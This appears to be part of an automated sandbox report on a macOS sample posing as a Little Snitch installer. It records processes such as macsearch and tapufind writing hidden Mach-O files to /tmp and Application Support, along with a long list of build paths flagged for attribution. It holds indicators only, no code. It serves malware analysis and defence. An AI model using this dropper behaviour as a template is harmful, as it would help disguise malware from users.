Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/bin/open (PID: 701)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/bin/open (PID: 710)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /usr/bin/open (PID: 722)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior
Source: /System/Library/CoreServices/ReportCrash (PID: 724)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist	Jump to behavior

Reads user launchservices plist file containing default apps for corresponding file types

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)

Preferences launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist

Jump to behavior

Uses CFNetwork bundle containing interfaces for network communication (HTTP, sockets, and Bonjour)

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior
Source: /tmp/tapufind/ChromeAndFirefoxSetter (PID: 716)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist	Jump to behavior

Uses Security framework containing interfaces for system-level user authentication and authorization

Show sources

Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)

Security framework info plist opened: /System/Library/Frameworks/Security.framework/Resources/Info.plist

Jump to behavior

Writes 64-bit Mach-O files to disk

Show sources

Source: /usr/bin/ditto (PID: 673)	File written: /private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	File written: /private/tmp/tapufind/.dat.nosync02b9.o9GXrL	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	File written: /Users/henry/Library/Application Support/Agent/tapufind	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	File written: /private/tmp/tapufind/.dat.nosync02b9.raddFF	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	File written: /private/tmp/tapufind/.dat.nosync02b9.DAOwrT	Jump to dropped file

Writes Mach-O files to the tmp directory

Show sources

Source: /usr/bin/ditto (PID: 673)	64-bit Mach-O written to tmp path: /private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	64-bit Mach-O written to tmp path: /private/tmp/tapufind/.dat.nosync02b9.o9GXrL	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	64-bit Mach-O written to tmp path: /private/tmp/tapufind/.dat.nosync02b9.raddFF	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	64-bit Mach-O written to tmp path: /private/tmp/tapufind/.dat.nosync02b9.DAOwrT	Jump to dropped file

Reads data from the local random generator

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	Random device file read: /dev/urandom	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	Random device file read: /dev/urandom	Jump to behavior
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	Random device file read: /dev/urandom	Jump to behavior

Sample contains user paths that might be useful for attribution

Show sources

Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/abcremoval.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/aot-compiler.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/aot-runtime.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/branch-opts.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/cfgdump.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/cfold.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/debug-mini.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/debugger-agent
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/decompose.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/dominators.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/driver.g.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/branch-opts.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/debugger-agent
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/driver.g.c--de
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/../../../mono-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/dwarfwriter.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/exceptions-amd
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/graph.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/helpers.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/image-writer.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/jit-icalls.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/linear-scan.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/liveness.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/lldb.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/local-propagat
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/method-to-ir.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/ir-emit.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-amd64-gsh
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-amd64.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-codegen.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-darwin.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-exception
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-generic-s
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-native-ty
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-posix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-runtime.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-trampolin
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/class-inte
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/simd-intrinsic
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/ssa.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/tasklets.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/trace.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/tramp-amd64-gs
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/tramp-amd64.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/unwind.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/builds/install/mac64/lib
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/builds/install/mac64/etc
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/builds/install/mac64/bin/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/appdomain.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/assembly.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/attach.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/class.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/cominterop
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/console-un
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/custom-att
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/debug-help
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/debug-mono
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/debug-mono
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/decimal-ms
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/domain.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/dynamic-im
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/exception.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/file-mmap-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/gc.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/icall.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/icall.c:13
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/image.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/jit-info.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/loader.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/locales.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/marshal.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/metadata-v
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/metadata.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/method-bui
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/monitor.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-basic
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-debug
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-debug
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-hash.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-mlist
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mono-secur
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/number-ms.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/object.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/profiler.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/rand.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/reflection
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/remoting.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/runtime.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/seq-points
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-bridg
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-mono.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-new-b
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-dynar
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-old-b
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-scan-obje
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-os-ma
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-stw.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-tarja
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-toggl
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/socket-io.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sre-encode
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sre-save.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sre.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/string-ica
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threadpool
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threadpool
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threadpool
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threads.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/verify.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-alloc.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-array-lis
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-debug.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-descripto
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-fin-weak-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gc.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gchandles
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gray.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-internal.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-los.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-marksweep
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-copy-obje
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-memory-go
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-nursery-a
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-pointer-q
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-protocol.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-split-nur
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-workers.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/error.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/events.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/io.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/mutexes.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/processes.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/semaphores
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/sockets.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/versioninf
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/wapi.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/hazard-pointe
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/json.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/lock-free-all
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/lock-free-arr
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/lock-free-que
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mach-support-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/memfuncs.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-codeman.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-conc-has
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-counters
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-dl.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-error.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-internal
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-linked-l
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-logger.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-mmap.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-rand.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-sha1.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-lazy-ini
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-tls.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/monobitset.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/networking-po
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/strenc.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/w32handle.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/garray.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gdate-unix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gdir-unix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gerror.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gfile-posix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/ghashtable.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/giconv.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gmarkup.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gmisc-unix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gpath.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gptrarray.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gshell.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gspawn.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gstr.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gstring.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/gtimer-unix.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/../../../mono-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/liveness.c!(cf
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/method-to-ir.c
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/ir-emit.hmono_
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini-trampolin
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini.cpos == f
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/trace.c!mono_m
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/unwind.cread32
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/assembly.c
